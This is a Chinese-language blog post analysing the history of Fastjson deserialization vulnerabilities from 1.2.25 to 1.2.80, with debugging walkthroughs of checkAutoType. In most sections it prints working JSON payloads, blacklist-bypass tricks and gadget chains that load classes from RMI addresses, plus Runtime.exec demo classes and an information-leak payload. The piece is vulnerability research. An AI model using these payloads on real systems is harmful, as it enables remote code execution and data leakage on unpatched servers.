Fastjson历史反序列漏洞分析(1.2.24-1.2.80)

目录

<=1.2.25fastjson反序列化注入

<=1.2.42fastjson反序列化注入

<=1.2.43fastjson反序列化注入

<=1.2.45fastjson反序列化注入

1.2.46fastjson反序列化注入

<=1.2.47fastjson反序列化注入

1.2.48fastjson反序列化注入

<=1.2.62fastjson反序列化注入

 <=1.2.66fastjson反序列化注入

<=1.2.67fastjson反序列化注入

<=1.2.68fastjson反序列化注入

<=1.2.80fastjson反序列化注入

在之前我们分析了1.2.24反序列化漏洞的TemplatesImpl利用链,如果感兴趣可以去看看 ,这里我们从1.2.25开始。

1.2.24 Fastjson反序列化TemplatesImpl利用链分析(非常详细)_糊涂是福yyyy的博客-CSDN博客

<=1.2.25fastjson反序列化注入

在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,同时增加了黑白名单。我们跟进代码可以看到在276行使用了checkAutoType。跟进checkAutoType看看里面代码如何执行。

在checkAutoType里面会大概分成四种情况,第一种是开启autoTypeSupport,需要判断是否在白名单里面,在就直接加载类,不在就接着判断是否在黑名单里面,在黑名单里面就直接抛出异常。第二种会去缓存里面寻找类。第三种关闭autoTypeSupport,需要判断是否在黑名单里面,在黑名单里面就直接抛出异常。不在黑名单里面就接着判断是否在白名单里面,在白名单就直接加载类。第四种开启autoTypeSupport,直接加载类。其实就是说不管是开启还是关闭autoTypeSupport都会进行黑白名单过滤,只不过先后区别。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
//1.开启autoTypeSupport,进行先白后黑名单过滤,存在白名单直接加载类
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
//2.在mapping和deserializers缓存里面寻找类
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
//3.autoTypeSupport关闭情况下,先黑名单在白名单过滤,在白名单里面就加载类
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
//4.开启autoTypeSupport,直接加载类。
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

下面是黑名单,而我们的利用链com.sun.rowset.JdbcRowSetImpl是在这个黑名单里面的。我们需要对我们的playload进行简单的改变才能绕过黑名单。

"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"

1.2.25Fastjson默认autoTypeSupport是不开启的,我们可以通过代码手动开启autoTypeSupport。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

构造的playload如下,使用playload1。


String str4={\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 1
String str4={\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 2

因为我们手动开启autoTypeSupport所以该playload在checkAutoType方法里面会走第一种情况,并且会通过黑名单检测,然后会在第四种情况里面直接加载类,但是我们的类名Lcom.sun.rowset.JdbcRowSetImpl;是如何变成com.sun.rowset.JdbcRowSetImpl。这里我们需要进入到loadclass里面看看。

在loadclass方法里面会进行判断,第一种情况判断如果传入进来的类名第一个字符是[,那么会取出后面的值进行后面的代码执行。第二种情况判断如果我们的类名以L开头且以;结尾,那么就会取出其中间作为新的类名。我们的playload是满足第二种情况的。所以我们的恶意类com.sun.rowset.JdbcRowSetImpl就可以加载了。如果是使用playload2 就会满足第一种情况,也能成功加载恶意类。

上述方法条件是必须开启autoTypeSupport,不然会导致失败。

<=1.2.42fastjson反序列化注入

需要开启autoTypeSupport

在1.2.42版本中,黑白名单采用了hash值,如果你传进来的的类名头和尾是L;,那么会对你进行一次去头去尾,再进行黑白名单校验,有开发人员破解处理黑白名单,工具在这个链接。GitHub - LeadroyaL/fastjson-blacklist

 所以我们构造如下playload:

String str4="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

我们双写LL;;这样我们即使去掉一次L;我们还剩一组就可以绕过黑名单检测,然后在loadclass方法里面提取出L;中间的值加载对应的类。

<=1.2.43fastjson反序列化注入

需要开启autoTypeSupport

在1.2.43版本中在checkAutoType方法里面对连续出现两个类描述符直接抛异常,所以想要通过L;来绕过黑名单是不可能的。这个时候我们需要想其他办法来绕过黑名单检测,这里就得提到我们在上面分析loadclass方法,可以看到在loadclass方法里面当我们得类名是以[开头,我们是取[后面的值进行类加载。但是我们在构造playload的时候却多了[{ 。有的同学可能对于playload为何那样构造不是很明白。那我们一起分析以下。

首先我们按照常规思路构造如下playload:

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

当我们运行代码时候会报错,并且会提示你在42这个位置缺少一个[,报错得位置是com.alibaba.fastjson.parser.DefaultJSONParser.parseArray。

 上面playload会绕过checkAutoType方法里面的黑名单,所以我们执行完checkAutoType方法会进入deserialze方法里面,在151行执行parseArray方法,进入其中。

 

 该方法里面会有一个token得检测,如果不是等于14就会抛出异常,我们的token是16。那token是在那里设置为16呢。

回溯代码发现在执行完checkAutoType方法后调用nextToken()方法,传入的参数是16。我们进入看看是如何设置token。

因为传入得参数是16所以直接来到309行,因为我们取完类名,现在当前的jason数据是逗号,所以满足条件将token设置为16。当我们在逗号前面加一个[,该值不满足case16里面所有条件,但是满住337行if条件,所以执行nextToken()方法,参数为空。

 该方法会将当前值和各种值进行比较,当当前值是 [ 的时候就将token设置为14。所以我们需要在playload里面额外加一个[。

当我们playload如下的时候又会出现报错,报错信息提示我们还需加一个{,报错位置在JavaBeanDeserializer.deserialze。

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://x1x.xx.xx2.xx3:9999/Exp\", \"autoCommit\":true}";

因为我们添加了[所以顺利通过parseArray方法里面的token是否等于14的检测,这时候我们在添加{,代码会顺利执行到parseArray方法,在该方法的670行进行一次token值得变更,当当前值是 { tonken变成12。

接着执行代码进入714行deserialze方法里面,该方法会对token值进行判断。

在395行可以看到判断token是否不等于12且不等于16,当我们加上{,我们的token值是12的,所以该条件就不满足。就会走else代码,往下执行就会触发漏洞。

如果我们不添加 { ,同样在parseArray方法里面的670行进行一次token值得变更,因为当前值是逗号就会执行338行nextToken()方法。token值变成16。

我们parseArray方法里面拿到token返回值16,执行681行满足条件,又再次设置token值。这次token返回值是4。这个大家可以自己进入看看代码如何执行的。然后我们就和上面一样进入714行deserialze方法里面。

这里和上面情况不一样token值不等于12也不等于16,所以进入if语句里面。会进行以下判断,判断输入值是否是空值等等,最后来到433行抛出异常。

 所以我们在1.2.43 fastjson版本触发反序列化漏洞,需要构造如下形式的playload:

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

<=1.2.45fastjson反序列化注入

需要开启autoTypeSupport

在1.2.45版本中修复了1.2.44版本漏洞,在checkAutoType方法里面添加对[字符的检测。不过在该版本中发现新的利用链,该利用链不在黑名单里面。但是需要目标服务器存在mybatis包,且版本未3.x.x至小于3.5.0。

需要我们在pom.xml里面引入mybatis包

        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.3.0</version>
        </dependency>

 构造如下playload:

 String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";

该利用链主要是调用了setProperties方法里面的lookup方法。

1.2.46fastjson反序列化注入

该版本将org.apache.ibatis.datasource.jndi.JndiDataSourceFactory加入黑名单,修复了1.2.45版本的漏洞。

<=1.2.47fastjson反序列化注入

不需要开启autoTypeSupport

在1.2.47版本中,通过利用类缓存机制(通过java.lang.Class类提前带入恶意类并缓存到 TypeUtils.mappings 中),可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

我们需要构造以下playload。

String str4="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://1xx.56.xx.xxx:9999/Exp\",\"autoCommit\":true}}}";

第一次的时候我们取出来的key值是a,不是@type,所以我们执行到488行,第二次调用parseObject方法,取出@type进入到checkAutoType。

因为没有开启autoTypeSupport,会先去mapping缓存寻找java.lang.Class,没有找到。再去deserializers缓存寻找,找到了赋值给clazz,返回clazz。

 拿到clazz,进入到deserializer方法里面,在deserializer方法里面调用parse方法。在这之前需要zai 223行判断健是否是val。不然会抛出异常。

执行String stringLiteral = lexer.stringVal()代码,将健是val的值赋值给stringLiteral变量。由我们的playload可知我们的val健对应的值就是我们的恶意类com.sun.rowset.JdbcRowSetImpl。

 拿到我们的恶意类回到deserializer方法里面,将值再赋值给strVal变量。

接下来就是判断clazz的类型,clazz是一个class对象。执行loadClass方法加载类。而传进去的类名是strVal,也就是我们的恶意类。

 程序通过contextClassLoader.loadClass(className);方法从字符串类型className变量("com.sun.rowset.JdbcRowSetImpl")获取到com.sun.rowset.JdbcRowSetImpl类对象,并赋值给clazz变量。此时的className、clazz变量形式如下图,接着将className、clazz键值对加入mappings合集

  在我们的第一个json字符串解析完成后,程序随后会解析我们第二个json字符串,解析过程与第一个完全一样,当取到第二个@type的时候会进入checkAutoType方法中从mapping缓存中拿到我们的com.sun.rowset.JdbcRowSetImpl类对象,就会触发漏洞。

1.2.48fastjson反序列化注入

该版本修复了1.2.47漏洞点,在执行loadclass方法时候第三个参数cache的值是false。当其值为false就不会执行mappings.put(className, clazz),我们的恶意类对象就不会添加到mapping缓冲里面。

<=1.2.62fastjson反序列化注入

需要开启autoTypeSupport

1.2.62发现新的利用链,该利用链不在黑名单里面,该利用链需要目标服务器存在xbean-reflect包

构造如下playload 

String str4 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://xx.xx.x.xx:5555/Exp\"}"

该利用链主要调用了setAsText方法,该方法里面调用了lookup方法。

 <=1.2.66fastjson反序列化注入

需要开启autoTypeSupport

1.2.62发现三个可用的利用链,这些利用链都不在黑名单里面。

  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包

我们以org.apache.shiro.jndi.JndiObjectFactory类为例,pom.xml引入依赖包

 构造如下playload:

String str4 = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"rmi://x.x.x.x:5555/Exp\"], \"Realms\":[\"\"]}";

该利用链先调用了setJndiNames方法,对jndiNames进行赋值,在调用getRealms方法里面的lookup方法。

 br.com.anteros.dbcp.AnterosDBCPConfig类POC:

String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";

pom.xml引入依赖包

        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-Core</artifactId>
            <version>1.2.6</version>
        </dependency>
        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-DBCP</artifactId>
            <version>1.0.1</version>
        </dependency>

该利用链调用healthCheckRegistry方法里面的getObjectOrPerformJndiLookup方法里面的lookup方法。另外一个参数和healthCheckRegistry是一样的。

 ​​

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类POC:

 String str4 = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://x.x.x.x:5555/Exp\"}}";

pom.xml引入依赖包

        <dependency>
            <groupId>org.apache.ibatis</groupId>
            <artifactId>ibatis-sqlmap</artifactId>
            <version>2.3.4.726</version>
        </dependency>
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>

 该利用链调用setProperties方法里面的lookup方法。

<=1.2.67fastjson反序列化注入

需要开启autoTypeSupport

1.2.62发现两个可用的利用链,这些利用链都不在黑名单里面。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

String str4 = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"rmi://x.x.x.x:5555/Exp\",\"tm\": {\"$ref\":\"$.tm\"}}";

该利用链需要ignite-core、ignite-jta和jta依赖,pom.xml引入以下依赖包

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{"$ref":"$.tm"},实际上就是基于路径的引用,相当于是调用root.getTm()函数,即循环引用来调用了tm字段的getter方法了。

 org.apache.shiro.jndi.JndiObjectFactory类PoC:

String str4 ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://x.x.x.x:5555/Exp\",\"instance\":{\"$ref\":\"$.instance\"}}";

该利用链需要shiro-core和slf4j-api依赖,pom.xml引入以下依赖包

<=1.2.68fastjson反序列化注入

不需要开启autoTypeSupport

1.2.68修复了1.2.67反序列化漏洞,该漏洞和之前1.2.47相似点就是不需要开启autoType也能导致反序列漏洞产生,但这个漏洞不能做到1.2.47那样通用,还是有一些限制条件的。首先我们先建一个haha.java

import java.io.IOException;

public class haha implements AutoCloseable{

    public haha(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    public void close() throws Exception {

    }
}

具体poc如下,下面会讲述为什么这么构建。

String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";

因为在1.2.68版本中我们在不开启autoType,绕过checkAutoType的安全检测,是因为我们利用它的第二个参数expectClass。我们跟进代码看看如何绕过的。首先我们进入第一次checkAutoType,我们传入的类是java.lang.AutoCloseable,这个类要求是能在缓存里面找到,且不在黑名单里面。这个我们就不调试了,和我们1.2.47第一次调试差不多。

我们执行代码来到377行,进入其中

该方法里面会继续向后取值,取到@type会再次执行一次checkAutoType方法,这里我们需要进行看一下。且这个时候第二个参数expectClass的值是interface java.lang.AutoCloseable。这次expectClass参数不为空哦。

首先会判断expectClass参数是否为空,不为空是否不等于Object.classSerializable.classCloneable.classCloseable.classEventListener.class、Iterable.class、Collection.class,如果条件成立将expectClassFlag设置为true,显然该值为true。后面就是对于我们自定义的类haha进行黑白名单校验,以及缓存寻找。

 最主要是这里,如果if语句里面有一个条件满足就会调用loadClass方法,从上文知第三条件是true。

​​​​​​继续执行代码在1124行会判断expectClass该参数是否不为空,class haha是否是interface java.lang.AutoCloseable的子类。如果成立就将haha添加到缓存里面去。这样后续就和1.2.47一样的了。

 解答POC:

我们主要是利用expectClass这个参数,

第一点:这个参数需要在缓存里面能找到,不然你第一个检测返回值就是空。

第二点:这个类的子类需要有漏洞点,不然你在反序列过程不会触发漏洞。但是在这里我们为了更好演示,我们的子类是自己构造的。现实中这个子类需要自己找,所以利用面没有1.2.47广。

第三点:为啥我们用java.lang.AutoCloseable这个类,是因为它在缓存中,AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。具体playload参考下面连接。

参考:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)_n0body-mole的博客-CSDN博客_fastjson1.2.68反序列化漏洞
那除了我们在734 行使用expectClass这个参数。我们还有一个地方也使用,不过它利用价值不大。我们会利用Throwable类。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

我们可以依赖selenium导致信息泄露。

首先导入selenium依赖:

        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>4.1.1</version>
        </dependency>

POC如下:

String str4 = "{\"x\": {\"@type\":\"java.lang.Exception\", \"@type\":\"org.openqa.selenium.WebDriverException\"}, \"y\":{\"$ref\":\"$x.systemInformation\"}}";

其中,org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。

<=1.2.80fastjson反序列化注入

不需要开启autoTypeSupport

1.2.80和1.2.68的原理是一样的只不过利用了Throwable类,之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

我们构建恶意类


import java.io.IOException;

public class CalcException extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC:

String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";

这个就不去调试了。要注意的是,由于java.lang.Throwable这个类不在缓存集合TypeUtils#mappings中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception,因为java.lang.Exception是在缓存集合TypeUtils#mappigns中的。

总结:除了1.2.47,1.2.68以及1.2.80出现的漏洞不需要开启autoTypeSupport,其他版本都需要开启autoTypeSupport。当我们在使用JNDI+RMI或者JNDI+LdAP,需要注意JDK版本

猜你喜欢

转载自blog.csdn.net/dreamthe/article/details/125851153